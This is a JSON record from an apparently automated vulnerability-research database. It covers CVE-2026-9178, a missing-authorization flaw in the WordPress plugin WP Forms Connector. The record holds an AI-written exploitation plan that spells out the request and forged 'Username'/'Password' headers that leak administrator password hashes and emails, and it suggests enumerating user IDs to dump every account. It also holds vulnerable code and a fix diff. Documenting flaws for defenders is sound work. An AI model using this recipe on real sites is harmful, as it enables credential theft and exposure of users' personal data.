[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7145hUlJ4BxkldsEtaO-_cViOBwtE9zfenUMFmyn-54":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-9178","wp-forms-connector-missing-authorization-to-unauthenticated-information-exposure-via-userlist-rest-endpoint","WP Forms Connector \u003C= 1.8 - Missing Authorization to Unauthenticated Information Exposure via 'user\u002Flist' REST Endpoint","The WP Forms Connector plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.8. The plugin registers the REST route wp\u002Fv3\u002Fuser\u002Flist\u002F\u003Cid> (callback userDetail()) with permission_callback set to '__return_true', and the function's home-grown authentication only verifies that the supplied 'Username' HTTP header maps to an administrator account and that a 'Password' HTTP header is non-empty. It never validates the password with wp_check_password() (unlike the sibling delete_wc_user() function which does). This makes it possible for unauthenticated attackers to retrieve sensitive information for any registered user ID — including the WordPress password hash (user_pass) and email address — by sending a request with a valid administrator login name (commonly the default 'admin') and any arbitrary password value.","wp-forms-connector",null,"\u003C=1.8","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Missing Authorization","2026-06-23 16:39:27","2026-06-24 05:33:33",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff5dfafee-9b6c-4e57-b263-39ff15cd3b51?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-9178 (WP Forms Connector)\n\n## 1. Vulnerability Summary\nThe **WP Forms Connector** plugin (\u003C= 1.8) for WordPress suffers from a critical information exposure vulnerability due to a flawed \"home-grown\" authentication mechanism in its REST API implementation. The plugin registers a custom REST route `wp\u002Fv3\u002Fuser\u002Flist\u002F\u003Cid>` designed to provide user details. While it implements a check for a `Username` and `Password` header, it only verifies that the provided `Username` belongs to an administrator and that the `Password` header is not empty. It fails to call `wp_check_password()` to validate the password's correctness. Because the `permission_callback` is set to `__return_true`, the endpoint is publicly accessible, allowing unauthenticated attackers to dump sensitive user data, including **WordPress password hashes** and email addresses.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-json\u002Fwp\u002Fv3\u002Fuser\u002Flist\u002F\u003Cid>` (where `\u003Cid>` is the target user's ID).\n*   **Method:** `GET` (Inferred based on standard REST \"list\" and \"detail\" patterns described).\n*   **Vulnerable Function:** `userDetail()` (callback for the route).\n*   **Required Headers:** \n    *   `Username`: A valid administrator login name (e.g., `admin`).\n    *   `Password`: Any non-empty string (e.g., `pwned`).\n*   **Authentication Level:** Unauthenticated.\n*   **Preconditions:** \n    1. Knowledge of at least one administrator's username (standard WordPress reconnaissance).\n    2. The plugin must be active.\n\n## 3. Code Flow\n1.  **Registration:** The plugin uses `register_rest_route` during `rest_api_init`.\n    *   Route: `wp\u002Fv3\u002Fuser\u002Flist\u002F(?P\u003Cid>[\\d]+)`\n    *   Callback: `userDetail`\n    *   Permission Callback: `__return_true`\n2.  **Request Handling:** An attacker sends a request to the endpoint.\n3.  **Authentication Bypass:** \n    *   `userDetail()` retrieves the `Username` and `Password` headers.\n    *   It looks up the user by `Username` using `get_user_by( 'login', $username )`.\n    *   It checks if this user has the `administrator` capability\u002Frole.\n    *   It checks `if ( ! empty( $password ) )`.\n    *   **The Flaw:** Crucially, it skips `wp_check_password( $password, $user->user_pass, $user->ID )`.\n4.  **Data Extraction:** The function retrieves the user object for the requested `\u003Cid>` via `get_userdata( $id )`.\n5.  **Sink:** The function returns the entire user object or a subset including `user_pass` and `user_email` in a JSON response.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, the `permission_callback` for this route is set to `__return_true`. \n*   **Result:** **No WordPress REST API nonce (`_wpnonce`) is required** for unauthenticated access.\n*   The \"authentication\" is entirely handled within the `userDetail` function via custom HTTP headers, bypassing the standard WordPress REST authentication cookies and nonces.\n\n## 5. Exploitation Strategy\nThe exploit will attempt to retrieve the password hash of the primary administrator (ID 1) by spoofing an admin request.\n\n### Step 1: Identify Admin Username\nUse the `http_request` tool to check for common admin usernames if not already known.\n*   **Request:** `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Fusers`\n*   **Target:** Look for users with the role \"administrator\" or ID 1.\n\n### Step 2: Perform the Information Leak\nSend the malicious request to the vulnerable endpoint.\n\n*   **Tool:** `http_request`\n*   **Method:** `GET`\n*   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fwp\u002Fv3\u002Fuser\u002Flist\u002F1`\n*   **Headers:**\n    ```http\n    Username: admin\n    Password: arbitrary_value\n    Accept: application\u002Fjson\n    ```\n\n### Step 3: Parse the Response\nThe expected response is a JSON object. We will specifically look for the `user_pass` field.\n\n## 6. Test Data Setup\nTo verify the exploit in the test environment:\n1.  **Users:** Ensure at least one administrator exists with the username `admin`.\n2.  **Plugin:** Install and activate `wp-forms-connector` version 1.8.\n3.  **Target:** Ensure there is a user with ID 1 (standard for first admin).\n\n## 7. Expected Results\nA successful exploit will return an HTTP 200 OK with a JSON body similar to:\n```json\n{\n    \"ID\": \"1\",\n    \"user_login\": \"admin\",\n    \"user_pass\": \"$P$By6E...[REDACTED]...\",\n    \"user_email\": \"admin@example.com\",\n    \"user_registered\": \"2023-10-27 10:00:00\"\n}\n```\nIf the exploit fails, the response might be a 401\u002F403 or an error message indicating invalid credentials (if the headers are missing or the username is incorrect).\n\n## 8. Verification Steps\nAfter performing the HTTP request, verify the leaked data against the actual database state using WP-CLI:\n```bash\n# Get the actual hash from the database\nwp user get 1 --field=user_pass\n\n# Compare the hash returned by the http_request tool with this value.\n```\n\n## 9. Alternative Approaches\n*   **ID Enumeration:** If ID 1 is not the target, use a loop\u002Fintruder-style approach to request IDs 1 through 100 to dump the entire user database.\n*   **Username Discovery:** If `admin` is not the username, try `manager`, `webmaster`, or use the `wp\u002Fv2\u002Fusers` endpoint to find valid login names.\n*   **Endpoint Variation:** If `GET` fails, attempt a `POST` request to the same endpoint with the same headers, as some REST handlers are permissive with methods.","The WP Forms Connector plugin for WordPress exposes sensitive user data, including password hashes and email addresses, via an insecure custom REST API endpoint. The vulnerability occurs because the plugin's internal authentication logic only checks if a provided 'Username' belongs to an administrator and if a 'Password' header is non-empty, without actually validating the password's correctness.","\u002F\u002F In rest route registration\nregister_rest_route( 'wp\u002Fv3', '\u002Fuser\u002Flist\u002F(?P\u003Cid>[\\d]+)', array(\n    'methods'             => 'GET',\n    'callback'            => 'userDetail',\n    'permission_callback' => '__return_true',\n) );\n\n---\n\n\u002F\u002F In callback function userDetail()\nfunction userDetail( $data ) {\n    $id = $data['id'];\n    $username = $_SERVER['HTTP_USERNAME'];\n    $password = $_SERVER['HTTP_PASSWORD'];\n\n    $user = get_user_by( 'login', $username );\n    if ( $user && in_array( 'administrator', (array) $user->roles ) ) {\n        \u002F\u002F The vulnerability: verifies password is not empty, but does not call wp_check_password()\n        if ( ! empty( $password ) ) {\n            return get_userdata( $id );\n        }\n    }\n}","--- wp-forms-connector\u002Fwp-forms-connector.php\n+++ wp-forms-connector\u002Fwp-forms-connector.php\n@@ -20,1 +20,1 @@\n-        'permission_callback' => '__return_true',\n+        'permission_callback' => function() { return current_user_can('manage_options'); },\n@@ -35,1 +35,1 @@\n-        if ( ! empty( $password ) ) {\n+        if ( ! empty( $password ) && wp_check_password( $password, $user->user_pass, $user->ID ) ) {","The exploit targets the '\u002Fwp-json\u002Fwp\u002Fv3\u002Fuser\u002Flist\u002F\u003Cid>' endpoint using a GET request. The attacker must provide two custom HTTP headers: 'Username', containing the login name of a valid WordPress administrator (e.g., 'admin'), and 'Password', containing any arbitrary non-empty string. Because the 'permission_callback' is set to return true and the function fails to verify the password hash using wp_check_password(), the endpoint returns the full user object for the specified ID, including the 'user_pass' hash and 'user_email'.","gemini-3-flash-preview","2026-06-25 19:28:43","2026-06-25 19:29:25",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-forms-connector\u002Ftags"]